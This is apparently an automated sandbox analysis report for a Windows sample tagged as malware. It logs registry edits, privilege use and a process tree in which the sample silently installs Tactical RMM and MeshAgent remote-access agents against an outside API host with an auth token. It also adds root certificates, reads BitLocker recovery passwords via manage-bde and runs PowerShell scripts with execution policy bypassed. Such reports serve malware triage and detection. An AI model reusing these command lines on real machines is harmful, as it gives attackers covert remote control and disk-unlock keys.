\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs tacticalrmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe - Modifies system certificate store 2 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1CBCA5DB2D52A7F693B674DE5F05A1D0C957DF0 tacticalrmm.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1CBCA5DB2D52A7F693B674DE5F05A1D0C957DF0\Blob = 0f00000001000000300000000b043572c899dec43efd590cfce610cf443a6315925ebfe589f7506907e44824608489581c7ca0e041458514cf157614090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c06200000001000000200000004ff460d54b9c86dabfbcfc5712e0400d2bed3fbc4d4fbdaa86e06adcd2a9ad7a0b00000001000000180000005300650063007400690067006f00200045004300430000001400000001000000140000003ae10986d4cf19c29676744976dce035c663639a1d0000000100000010000000280cf6042c30a2646644ba7286a3aa97030000000100000014000000d1cbca5db2d52a7f693b674de5f05a1d0c957df02000000001000000930200003082028f30820215a00302010202105c8b99c55a94c5d27156decd8980cc26300a06082a8648ce3d040303308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f726974793076301006072a8648ce3d020106052b81040022036200041aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221b3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979a3423040301d0603551d0e041604143ae10986d4cf19c29676744976dce035c663639a300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300a06082a8648ce3d040303036800306502303667a11608dce49700411d4ebee16301cf3baa421164a09d94390211795c7b1dfa64b9ee1642b3bf8ac209c4ece4b14d023100e92a61478c524a4b4e1870f6d644d66ef583ba6d58bd24d95648eaefc4a24681886a3a46d1a99b4dc961dad15d576a18 tacticalrmm.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1CBCA5DB2D52A7F693B674DE5F05A1D0C957DF0\Blob = 19000000010000001000000076935b5c5a037216daaf8aac76df42c1030000000100000014000000d1cbca5db2d52a7f693b674de5f05a1d0c957df01d0000000100000010000000280cf6042c30a2646644ba7286a3aa971400000001000000140000003ae10986d4cf19c29676744976dce035c663639a0b00000001000000180000005300650063007400690067006f00200045004300430000006200000001000000200000004ff460d54b9c86dabfbcfc5712e0400d2bed3fbc4d4fbdaa86e06adcd2a9ad7a53000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000300000000b043572c899dec43efd590cfce610cf443a6315925ebfe589f7506907e44824608489581c7ca0e041458514cf1576142000000001000000930200003082028f30820215a00302010202105c8b99c55a94c5d27156decd8980cc26300a06082a8648ce3d040303308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f726974793076301006072a8648ce3d020106052b81040022036200041aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221b3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979a3423040301d0603551d0e041604143ae10986d4cf19c29676744976dce035c663639a300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300a06082a8648ce3d040303036800306502303667a11608dce49700411d4ebee16301cf3baa421164a09d94390211795c7b1dfa64b9ee1642b3bf8ac209c4ece4b14d023100e92a61478c524a4b4e1870f6d644d66ef583ba6d58bd24d95648eaefc4a24681886a3a46d1a99b4dc961dad15d576a18 tacticalrmm.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1CBCA5DB2D52A7F693B674DE5F05A1D0C957DF0\Blob = 040000000100000010000000fa68bcd9b57fadfdc91d068328cc24c10f00000001000000300000000b043572c899dec43efd590cfce610cf443a6315925ebfe589f7506907e44824608489581c7ca0e041458514cf157614090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c06200000001000000200000004ff460d54b9c86dabfbcfc5712e0400d2bed3fbc4d4fbdaa86e06adcd2a9ad7a0b00000001000000180000005300650063007400690067006f00200045004300430000001400000001000000140000003ae10986d4cf19c29676744976dce035c663639a1d0000000100000010000000280cf6042c30a2646644ba7286a3aa97030000000100000014000000d1cbca5db2d52a7f693b674de5f05a1d0c957df019000000010000001000000076935b5c5a037216daaf8aac76df42c12000000001000000930200003082028f30820215a00302010202105c8b99c55a94c5d27156decd8980cc26300a06082a8648ce3d040303308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f726974793076301006072a8648ce3d020106052b81040022036200041aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221b3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979a3423040301d0603551d0e041604143ae10986d4cf19c29676744976dce035c663639a300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300a06082a8648ce3d040303036800306502303667a11608dce49700411d4ebee16301cf3baa421164a09d94390211795c7b1dfa64b9ee1642b3bf8ac209c4ece4b14d023100e92a61478c524a4b4e1870f6d644d66ef583ba6d58bd24d95648eaefc4a24681886a3a46d1a99b4dc961dad15d576a18 tacticalrmm.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1CBCA5DB2D52A7F693B674DE5F05A1D0C957DF0\Blob = 5c00000001000000040000008001000019000000010000001000000076935b5c5a037216daaf8aac76df42c1030000000100000014000000d1cbca5db2d52a7f693b674de5f05a1d0c957df01d0000000100000010000000280cf6042c30a2646644ba7286a3aa971400000001000000140000003ae10986d4cf19c29676744976dce035c663639a0b00000001000000180000005300650063007400690067006f00200045004300430000006200000001000000200000004ff460d54b9c86dabfbcfc5712e0400d2bed3fbc4d4fbdaa86e06adcd2a9ad7a53000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000300000000b043572c899dec43efd590cfce610cf443a6315925ebfe589f7506907e44824608489581c7ca0e041458514cf157614040000000100000010000000fa68bcd9b57fadfdc91d068328cc24c12000000001000000930200003082028f30820215a00302010202105c8b99c55a94c5d27156decd8980cc26300a06082a8648ce3d040303308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f726974793076301006072a8648ce3d020106052b81040022036200041aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221b3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979a3423040301d0603551d0e041604143ae10986d4cf19c29676744976dce035c663639a300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300a06082a8648ce3d040303036800306502303667a11608dce49700411d4ebee16301cf3baa421164a09d94390211795c7b1dfa64b9ee1642b3bf8ac209c4ece4b14d023100e92a61478c524a4b4e1870f6d644d66ef583ba6d58bd24d95648eaefc4a24681886a3a46d1a99b4dc961dad15d576a18 tacticalrmm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 tacticalrmm.exe - Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
pid Process 5648 PING.EXE - Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 5276 tacticalrmm.exe 5044 tacticalrmm.exe 980 powershell.exe 980 powershell.exe 5044 tacticalrmm.exe 5044 tacticalrmm.exe 5780 tacticalrmm.exe 5920 tacticalrmm.exe 5780 tacticalrmm.exe 5780 tacticalrmm.exe 5920 tacticalrmm.exe 5920 tacticalrmm.exe 5780 tacticalrmm.exe 5780 tacticalrmm.exe 5920 tacticalrmm.exe 5920 tacticalrmm.exe 5920 tacticalrmm.exe 5920 tacticalrmm.exe 6052 tacticalrmm.exe 5780 tacticalrmm.exe 5780 tacticalrmm.exe 4560 tacticalrmm.exe 2284 powershell.exe 4640 powershell.exe 4640 powershell.exe 2068 powershell.exe 2068 powershell.exe 2284 powershell.exe 2284 powershell.exe 2528 powershell.exe 2528 powershell.exe 2068 powershell.exe 4640 powershell.exe 2528 powershell.exe - Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 5824 taskkill.exe Token: SeDebugPrivilege 5276 tacticalrmm.exe Token: SeDebugPrivilege 5044 tacticalrmm.exe Token: SeDebugPrivilege 980 powershell.exe Token: SeDebugPrivilege 5044 tacticalrmm.exe Token: SeDebugPrivilege 5780 tacticalrmm.exe Token: SeDebugPrivilege 5920 tacticalrmm.exe Token: SeDebugPrivilege 5780 tacticalrmm.exe Token: SeDebugPrivilege 5920 tacticalrmm.exe Token: SeDebugPrivilege 6052 tacticalrmm.exe Token: SeDebugPrivilege 4560 tacticalrmm.exe Token: SeDebugPrivilege 2284 powershell.exe Token: SeDebugPrivilege 4640 powershell.exe Token: SeDebugPrivilege 2068 powershell.exe Token: SeDebugPrivilege 2528 powershell.exe Token: SeBackupPrivilege 4640 powershell.exe Token: SeBackupPrivilege 4640 powershell.exe Token: SeRestorePrivilege 4640 powershell.exe Token: SeSecurityPrivilege 4640 powershell.exe Token: SeBackupPrivilege 4640 powershell.exe Token: SeBackupPrivilege 4640 powershell.exe Token: SeRestorePrivilege 4640 powershell.exe Token: SeSecurityPrivilege 4640 powershell.exe Token: SeBackupPrivilege 2068 powershell.exe Token: SeBackupPrivilege 2068 powershell.exe Token: SeRestorePrivilege 2068 powershell.exe Token: SeSecurityPrivilege 2068 powershell.exe Token: SeBackupPrivilege 2068 powershell.exe Token: SeBackupPrivilege 2068 powershell.exe Token: SeRestorePrivilege 2068 powershell.exe Token: SeSecurityPrivilege 2068 powershell.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5052 tacticalagent-v2.11.0-windows-amd64.tmp - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 3744 wrote to memory of 5260 3744 2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe 87 PID 5260 wrote to memory of 5052 5260 tacticalagent-v2.11.0-windows-amd64.exe 88 PID 5052 wrote to memory of 5636 5052 tacticalagent-v2.11.0-windows-amd64.tmp 89 PID 5636 wrote to memory of 5648 5636 cmd.exe 91 PID 5636 wrote to memory of 5676 5636 cmd.exe 92 PID 5676 wrote to memory of 5736 5676 net.exe 93 PID 5052 wrote to memory of 5752 5052 tacticalagent-v2.11.0-windows-amd64.tmp 94 PID 5752 wrote to memory of 5824 5752 cmd.exe 96 PID 5052 wrote to memory of 5984 5052 tacticalagent-v2.11.0-windows-amd64.tmp 98 PID 5984 wrote to memory of 5276 5984 cmd.exe 100 PID 5052 wrote to memory of 6128 5052 tacticalagent-v2.11.0-windows-amd64.tmp 101 PID 6128 wrote to memory of 5924 6128 cmd.exe 103 PID 5924 wrote to memory of 5976 5924 net.exe 104 PID 3744 wrote to memory of 5044 3744 2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe 105 PID 5044 wrote to memory of 4852 5044 tacticalrmm.exe 117 PID 1620 wrote to memory of 980 1620 MeshAgent.exe 120 PID 5044 wrote to memory of 1824 5044 tacticalrmm.exe 122 PID 1620 wrote to memory of 3228 1620 MeshAgent.exe 125 PID 1620 wrote to memory of 3556 1620 MeshAgent.exe 129 PID 3556 wrote to memory of 2648 3556 cmd.exe 131 PID 1620 wrote to memory of 1708 1620 MeshAgent.exe 132 PID 1708 wrote to memory of 5148 1708 cmd.exe 134 PID 5920 wrote to memory of 6052 5920 tacticalrmm.exe 141 PID 5780 wrote to memory of 4560 5780 tacticalrmm.exe 144 PID 5780 wrote to memory of 4824 5780 tacticalrmm.exe 146 PID 5920 wrote to memory of 1048 5920 tacticalrmm.exe 147 PID 5780 wrote to memory of 2284 5780 tacticalrmm.exe 150 PID 5920 wrote to memory of 4640 5920 tacticalrmm.exe 151 PID 5920 wrote to memory of 2528 5920 tacticalrmm.exe 153 PID 5780 wrote to memory of 2068 5780 tacticalrmm.exe 154 PID 4640 wrote to memory of 3284 4640 powershell.exe 158 PID 4640 wrote to memory of 2580 4640 powershell.exe 159 PID 4640 wrote to memory of 5356 4640 powershell.exe 160 PID 4640 wrote to memory of 5528 4640 powershell.exe 161 PID 4640 wrote to memory of 1164 4640 powershell.exe 162 PID 2068 wrote to memory of 1380 2068 powershell.exe 164 PID 2068 wrote to memory of 4552 2068 powershell.exe 165 PID 2068 wrote to memory of 1552 2068 powershell.exe 166 PID 2068 wrote to memory of 6008 2068 powershell.exe 167 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3744 -
C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exeC:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe /VERYSILENT /SUPPRESSMSGBOXES2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5260 -
C:\Users\Admin\AppData\Local\Temp\is-021NR.tmp\tacticalagent-v2.11.0-windows-amd64.tmp"C:\Users\Admin\AppData\Local\Temp\is-021NR.tmp\tacticalagent-v2.11.0-windows-amd64.tmp" /SL5="$701FA,4216799,861184,C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:5052 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm4⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:5636 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 25⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:5648
-
-
C:\Windows\SysWOW64\net.exenet stop tacticalrmm5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5676 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop tacticalrmm6⤵
- System Location Discovery: System Language Discovery
PID:5736
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c taskkill /F /IM tacticalrmm.exe4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5752 -
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM tacticalrmm.exe5⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5824
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c tacticalrmm.exe -m installsvc4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5984 -
C:\Program Files\TacticalAgent\tacticalrmm.exetacticalrmm.exe -m installsvc5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5276
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c net start tacticalrmm4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:6128 -
C:\Windows\SysWOW64\net.exenet start tacticalrmm5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5924 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start tacticalrmm6⤵
- System Location Discovery: System Language Discovery
PID:5976
-
-
-
-
-
-
C:\Program Files\TacticalAgent\tacticalrmm.exe"C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api https://mastiffsystemsapi.mytrmm.com --client-id 43 --site-id 51 --agent-type workstation --auth 54061b12a2467a48b4e2ea56c43f77b6207615bd015c58cb67366de489fe8a7b2⤵
- Executes dropped EXE
- Modifies trusted root certificate store through registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5044 -
C:\Program Files\TacticalAgent\meshagent.exe"C:\Program Files\TacticalAgent\meshagent.exe" -fullinstall3⤵
- Sets service image path in registry
- Executes dropped EXE
PID:4852
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid3⤵
- Executes dropped EXE
PID:1824
-
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:980
-
-
C:\Program Files\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:3228
-
-
C:\Windows\system32\cmd.exe/c manage-bde -protectors -get C: -Type recoverypassword2⤵
- Suspicious use of WriteProcessMemory
PID:3556 -
C:\Windows\system32\manage-bde.exemanage-bde -protectors -get C: -Type recoverypassword3⤵PID:2648
-
-
-
C:\Windows\system32\cmd.exe/c manage-bde -protectors -get F: -Type recoverypassword2⤵
- Suspicious use of WriteProcessMemory
PID:1708 -
C:\Windows\system32\manage-bde.exemanage-bde -protectors -get F: -Type recoverypassword3⤵PID:5148
-
-
-
C:\Program Files\TacticalAgent\tacticalrmm.exe"C:\Program Files\TacticalAgent\tacticalrmm.exe" -m svc1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5780 -
C:\Program Files\TacticalAgent\tacticalrmm.exe"C:\Program Files\TacticalAgent\tacticalrmm.exe" -m checkrunner2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4560
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid2⤵
- Executes dropped EXE
PID:4824
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass C:\ProgramData\TacticalRMM\3356038825.ps12⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2284
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass C:\ProgramData\TacticalRMM\542091045.ps12⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Windows\System32\setx.exe"C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 1342833000459090533⤵PID:1380
-
-
C:\Windows\System32\setx.exe"C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 1342833000533191443⤵PID:4552
-
-
C:\Windows\System32\setx.exe"C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 1342833000545694253⤵PID:1552
-
-
C:\ProgramData\chocolatey\choco.exe"C:\ProgramData\chocolatey\choco.exe" -v3⤵
- Executes dropped EXE
PID:6008
-
-
-
